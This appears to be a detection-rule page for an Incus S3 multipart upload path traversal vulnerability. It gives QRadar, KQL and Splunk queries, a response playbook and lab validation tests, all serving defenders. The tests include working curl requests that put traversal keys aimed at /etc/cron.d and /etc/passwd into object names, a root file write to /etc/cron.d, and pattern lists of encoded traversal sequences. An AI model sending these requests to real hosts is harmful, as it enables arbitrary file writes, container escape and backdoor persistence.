Detect CVE-2026-48753: Incus S3 Multipart Upload Path Traversal Arbitrary File Write in IBM QRadar
Detects exploitation of CVE-2026-48753, a critical path traversal vulnerability (CVSS 9.9) in Incus (github.com/lxc/incus/v7/cmd/incusd) versions prior to 7.1.0. An attacker can write arbitrary files on the host by crafting malicious S3 multipart upload requests containing path traversal sequences in the object key, potentially leading to container escape, privilege escalation, or persistent backdoor installation.
MITRE ATT&CK
QRadar Detection Query
SELECT
DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
sourceip,
destinationip,
destinationport,
username,
"Process Name",
"File Path",
QIDNAME(qid) AS event_name,
logsourcename(logsourceid) AS log_source,
magnitude
FROM events
WHERE
LOGSOURCETYPENAME(devicetype) IN ('Linux Syslog', 'SentinelOne', 'CrowdStrike Falcon')
AND (
(
"Process Name" ILIKE '%incusd%'
AND (
UTF8(payload) ILIKE '%../%'
OR UTF8(payload) ILIKE '%2e%2e%2f%'
OR UTF8(payload) ILIKE '%2e%2e/%'
OR UTF8(payload) ILIKE '%252e252e%'
)
)
OR (
"Process Name" ILIKE '%incusd%'
AND "File Path" IS NOT NULL
AND "File Path" NOT ILIKE '/var/lib/incus/%'
AND "File Path" NOT ILIKE '/run/incus/%'
AND "File Path" NOT ILIKE '/tmp/%'
AND category = 18
)
)
AND LAST 24 HOURS
ORDER BY starttime DESC
LIMIT 1000 QRadar AQL query detecting Incus path traversal exploitation through log source analysis looking for traversal sequences in incusd process context and file write events outside expected Incus storage paths.
Data Sources
Required Tables
False Positives & Tuning
- Incus backup or export operations that temporarily access non-standard file paths
- URL-encoded object keys in legitimate S3 API calls that match traversal signatures
- Monitoring agents reading Incus process memory or state from non-standard locations
- Development and testing environments running Incus with custom storage configurations
Other platforms for CVE-2026-48753
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2026-48753 PoC: Path Traversal via S3 Multipart Upload Initiation
Expected signal: Network log showing PUT/POST request to Incus S3 endpoint with URL-encoded path traversal sequence in the request URI; incusd process log entries showing the malformed object key
- Test 2CVE-2026-48753 Simulation: Anomalous File Write by Incusd Process
Expected signal: Linux audit log (auditd) syscall record showing openat/write to /etc/cron.d/ by process running as root; osquery file_events showing new file creation at sensitive path; EDR file creation alert for /etc/cron.d/
- Test 3CVE-2026-48753 Detection Validation: Incusd Version Audit
Expected signal: Process execution telemetry showing incus binary invoked with --version flag; no file modifications or network connections generated
- Test 4CVE-2026-48753 S3 Multipart Upload with Double-Encoded Traversal
Expected signal: Network request logs showing PUT to Incus S3 endpoint with %252e%252e and %2e%2e encoded sequences; incusd application logs recording the object key with encoded traversal characters before server-side decoding
Response Playbook
Triage
- Verify Incus version on affected host: run `incus --version` or `dpkg -l incus` / `rpm -q incus` to confirm if version is below 7.1.0 (vulnerable range).
- Identify all files written by incusd outside /var/lib/incus/ in the past 24 hours using: `find / -newer /var/lib/incus -user root -not -path '/var/lib/incus/*' -not -path '/proc/*' -not -path '/sys/*' 2>/dev/null` — document all anomalous paths.
- Review incusd access logs and audit trails for S3 multipart upload requests containing path traversal sequences (../, %2e%2e%2f, encoded variants) targeting the Incus S3 gateway.
- Check for new or modified sensitive files that could enable persistence or privilege escalation: /etc/cron.d/, /etc/sudoers.d/, ~/.ssh/authorized_keys, /etc/passwd, /etc/shadow, systemd unit files in /etc/systemd/system/.
- Correlate the attack timeline with any new container launches, unusual network connections from containers, or unexpected process executions on the host system.
Containment
- Immediately disable the Incus S3 gateway if not required for operations: update Incus configuration to disable the S3 API endpoint (`incus config set core.storage_buckets_address ''`) and restart the incusd service.
- If exploitation is confirmed, isolate the affected host from the network using firewall rules to block inbound connections to Incus API ports (typically 8443, 9000, 9001) while preserving forensic evidence.
- Upgrade Incus to version 7.1.0 or later immediately after forensic preservation is complete: `apt-get update && apt-get install incus` or equivalent for the package manager in use.
- Rotate all credentials accessible from the Incus host including container-accessible secrets, API keys stored in /var/lib/incus/, and any secrets that may have been exfiltrated via arbitrary file read as a precursor to write exploitation.
Evidence Collection
- Collect incusd process logs from journald: `journalctl -u incus.service --since '48 hours ago' --no-pager > /evidence/incus_logs.txt` and preserve the raw journal binary for forensic analysis.
- Create a filesystem timeline of all file modifications on the host in the past 48 hours using `find / -newer /tmp/timestamp_marker -not -path '/proc/*' -not -path '/sys/*' -printf '%T+ %p\n' | sort > /evidence/fs_timeline.txt` to identify all attacker-written files.
- Capture network pcap if available from the period of suspected exploitation, focusing on traffic to/from Incus API ports; extract HTTP request bodies containing multipart upload data for path traversal evidence.
- Preserve memory dump of the incusd process if still running: `gcore $(pgrep incusd)` to capture in-memory state that may include request buffers showing the malicious multipart upload keys.
Escalation Criteria
- !Escalate to incident response team immediately if any sensitive system files were overwritten (SSH authorized_keys, sudoers, cron jobs, systemd services) — this indicates active persistence establishment and potential full host compromise.
- !Escalate if the Incus host is a container hypervisor running production workloads, as arbitrary file write on the hypervisor host represents a complete container escape scenario affecting all hosted containers and their data.
- !Escalate if evidence of lateral movement is found (new SSH connections from the host, new container launches with elevated privileges, or exfiltration of data from other containers).
- !Escalate to vendor notification and CERT/CC if exploitation is occurring at scale across multiple Incus hosts in the environment.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
incusd access logs showing multipart upload requests with path traversal sequences in object key names (typically in /var/log/incus/ or journald under unit incus.service) - >
Newly created or modified files on the host filesystem outside /var/lib/incus/ with timestamps correlating to the attack window and ownership by the incusd process user (typically root) - >
Linux audit logs (auditd) showing file creation syscalls (openat with O_CREAT) by incusd PID targeting paths outside expected storage directories - >
Network flow records showing external connections to Incus API ports (8443, 9000, 9001) with unusually large PUT request payloads indicative of multipart upload exploitation - >
Modified SSH authorized_keys, /etc/cron.d/ entries, /etc/sudoers.d/ files, or systemd unit files with timestamps matching the exploitation window
Tuning Guidance
Reduce false positives by baselining legitimate Incus storage pool paths in your environment — organizations using custom storage pool directories should add those paths to the exclusion lists in all queries. The S3 network detection component can be disabled if Incus S3 gateway (storage buckets) is not enabled in your deployment (`incus config get core.storage_buckets_address`). For the file write detections, consider adding exclusions for known backup agent processes that may spawn under incusd. Increase confidence threshold by requiring both the network traversal signal AND the anomalous file write within the same process PID and time window, as implemented in the CrowdStrike and EQL queries. In environments with Incus versions confirmed at 7.1.0+, these detections can be demoted to informational while maintaining coverage for potential downgrades.
Hunting Queries
Threat hunting query to retrospectively identify any Incus S3 path traversal attempts in the past 7 days, including URL-decoded variants that may evade simple string matching. Run this across all Incus hosts to identify initial access attempts that may not have triggered real-time alerts.
Syslog
| where TimeGenerated > ago(7d)
| where ProcessName == 'incusd'
| extend DecodedMessage = url_decode(SyslogMessage)
| where SyslogMessage has_any ('../', '%2e%2e', '..%2f', '%252e')
or DecodedMessage has '../'
| project TimeGenerated, HostName, SyslogMessage, DecodedMessage
| order by TimeGenerated desc index=linux process_name="incusd" earliest=-7d
| eval decoded=urldecode(message)
| where message LIKE "%../%" OR message LIKE "%2e%2e%2f%" OR decoded LIKE "%../%"
| table _time, host, message, decoded
| sort -_time Hunt for historical Incus file writes outside expected storage boundaries across a 7-day window. This query helps establish baseline deviations and identify hosts where exploitation may have already occurred before detection rules were deployed.
DeviceFileEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName == 'incusd'
| where not(FolderPath startswith '/var/lib/incus/'
or FolderPath startswith '/run/incus/'
or FolderPath startswith '/tmp/')
| summarize FileCount=count(), Files=make_set(FolderPath, 50) by DeviceName, bin(TimeGenerated, 1h)
| where FileCount > 0
| order by FileCount desc index=endpoint sourcetype=osquery_differential name=file_events earliest=-7d
| where process_name="incusd"
| where NOT (target_path LIKE "/var/lib/incus/%" OR target_path LIKE "/run/incus/%" OR target_path LIKE "/tmp/%")
| stats count AS write_count, values(target_path) AS paths by host, date_hour
| where write_count > 0
| sort -write_count Atomic Red Team Tests
Simulates the initial phase of CVE-2026-48753 exploitation by sending a crafted S3 CreateMultipartUpload request with a path traversal sequence in the object key to a vulnerable Incus instance. This tests detection of the malicious request at the network and application log level.
Command
# LAB ONLY - requires vulnerable Incus < 7.1.0 in isolated environment
# Set INCUS_HOST to your lab Incus instance IP
INCUS_HOST="192.168.100.10"
INCUS_PORT="9000"
BUCKET="testbucket"
TRAVERSAL_KEY="../../../../etc/cron.d/backdoor"
# Initiate multipart upload with traversal key
curl -v -X POST \
"http://${INCUS_HOST}:${INCUS_PORT}/${BUCKET}/$(python3 -c "import urllib.parse; print(urllib.parse.quote('${TRAVERSAL_KEY}'))")" \
-H 'Content-Type: application/octet-stream' \
--header 'x-amz-content-sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855' \
--data '' \
2>&1 | tee /tmp/cve_2026_48753_initiate.log
echo "[*] Review /tmp/cve_2026_48753_initiate.log for server response" Cleanup
rm -f /tmp/cve_2026_48753_initiate.log Expected Telemetry
Network log showing PUT/POST request to Incus S3 endpoint with URL-encoded path traversal sequence in the request URI; incusd process log entries showing the malformed object key
Expected Detection
KQL DeviceNetworkEvents rule fires on traversal pattern in request URL; Syslog-based detection triggers on incusd log entry containing encoded traversal sequence
Simulates the outcome of successful CVE-2026-48753 exploitation by directly writing a test file to a sensitive path using the incusd service account, mimicking what the vulnerability allows an attacker to achieve via path traversal. Tests file-write-based detections without requiring a vulnerable Incus instance.
Command
# LAB ONLY - simulates post-exploitation file write outcome
# Must be run as root or the incusd service user
# Create a test marker file mimicking what an attacker would write
sudo -u root bash -c '
# Simulate incusd writing outside its expected storage path
TEST_FILE="/etc/cron.d/incus_traversal_test"
echo "# CVE-2026-48753 atomic test - safe marker" > "${TEST_FILE}"
echo "# Created: $(date)" >> "${TEST_FILE}"
echo "# This file simulates path traversal exploitation" >> "${TEST_FILE}"
ls -la "${TEST_FILE}"
echo "[*] Test file created at ${TEST_FILE}"
'
# Verify auditd captured the event
ausiearch -f /etc/cron.d/incus_traversal_test 2>/dev/null | tail -20 || echo "[!] auditd not running or no events captured" Cleanup
sudo rm -f /etc/cron.d/incus_traversal_test && echo 'Test file removed' Expected Telemetry
Linux audit log (auditd) syscall record showing openat/write to /etc/cron.d/ by process running as root; osquery file_events showing new file creation at sensitive path; EDR file creation alert for /etc/cron.d/
Expected Detection
Splunk osquery_differential query triggers on file write outside /var/lib/incus/ attributed to incusd; CrowdStrike FileWrittenEvent detection fires on sensitive path modification
Enumerates all Incus installations in the environment to identify vulnerable versions (< 7.1.0), providing baseline data for patch status monitoring and confirming which hosts require immediate remediation. This is a safe, read-only atomic test.
Command
#!/bin/bash
# Safe version enumeration - read only, no exploitation
echo "=== CVE-2026-48753 Incus Version Audit ==="
echo "Scan time: $(date)"
echo ""
# Check local incusd version
if command -v incus &>/dev/null; then
INCUS_VER=$(incus --version 2>/dev/null || echo 'unknown')
echo "[LOCAL] incusd version: ${INCUS_VER}"
# Check if S3/storage buckets is enabled
BUCKET_ADDR=$(incus config get core.storage_buckets_address 2>/dev/null || echo 'not configured')
echo "[LOCAL] S3 storage_buckets_address: ${BUCKET_ADDR}"
else
echo "[LOCAL] incus not installed"
fi
# Check package manager
for cmd in dpkg rpm; do
if command -v $cmd &>/dev/null; then
$cmd -l 2>/dev/null | grep -i incus || true
fi
done
# Check if incusd is listening on S3 port
ss -tlnp 2>/dev/null | grep -E ':(9000|9001|8443)' | head -10
echo ""
echo "Vulnerable if version < 7.1.0 AND S3 endpoint is enabled" Cleanup
# No cleanup required - read-only operation Expected Telemetry
Process execution telemetry showing incus binary invoked with --version flag; no file modifications or network connections generated
Expected Detection
This atomic test should NOT trigger detections — use it to validate that version audit queries execute cleanly and to populate asset inventory with Incus version data for patch tracking dashboards
Tests detection coverage for double URL-encoded path traversal variants (%252e%252e%252f) that may bypass simple string matching detections, validating that URL-decode steps in detection queries correctly identify obfuscated exploitation attempts.
Command
# LAB ONLY - isolated Incus lab environment required
INCUS_HOST="192.168.100.10"
INCUS_PORT="9000"
BUCKET="testbucket"
# Double-encoded traversal: %252e%252e%252f = ../ after one decode round
DOUBLE_ENCODED_KEY="%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
echo "[*] Testing double-encoded path traversal detection bypass"
curl -v -X PUT \
"http://${INCUS_HOST}:${INCUS_PORT}/${BUCKET}/${DOUBLE_ENCODED_KEY}" \
-H 'Content-Type: text/plain' \
--data 'CVE-2026-48753 atomic test payload - double encoded' \
2>&1 | tee /tmp/cve_2026_48753_doubleenc.log
echo "[*] Also testing %2e%2e%2f variant"
curl -v -X PUT \
"http://${INCUS_HOST}:${INCUS_PORT}/${BUCKET}/%2e%2e%2f%2e%2e%2fetc%2fpasswd" \
-H 'Content-Type: text/plain' \
--data 'CVE-2026-48753 atomic test payload - single encoded' \
2>&1 | tee -a /tmp/cve_2026_48753_doubleenc.log
cat /tmp/cve_2026_48753_doubleenc.log Cleanup
rm -f /tmp/cve_2026_48753_doubleenc.log Expected Telemetry
Network request logs showing PUT to Incus S3 endpoint with %252e%252e and %2e%2e encoded sequences; incusd application logs recording the object key with encoded traversal characters before server-side decoding
Expected Detection
SPL query with urldecode() function triggers on decoded traversal in message field; KQL query with has_any() on encoded variants fires on %2e%2e%2f pattern; validates detection coverage for encoding bypass attempts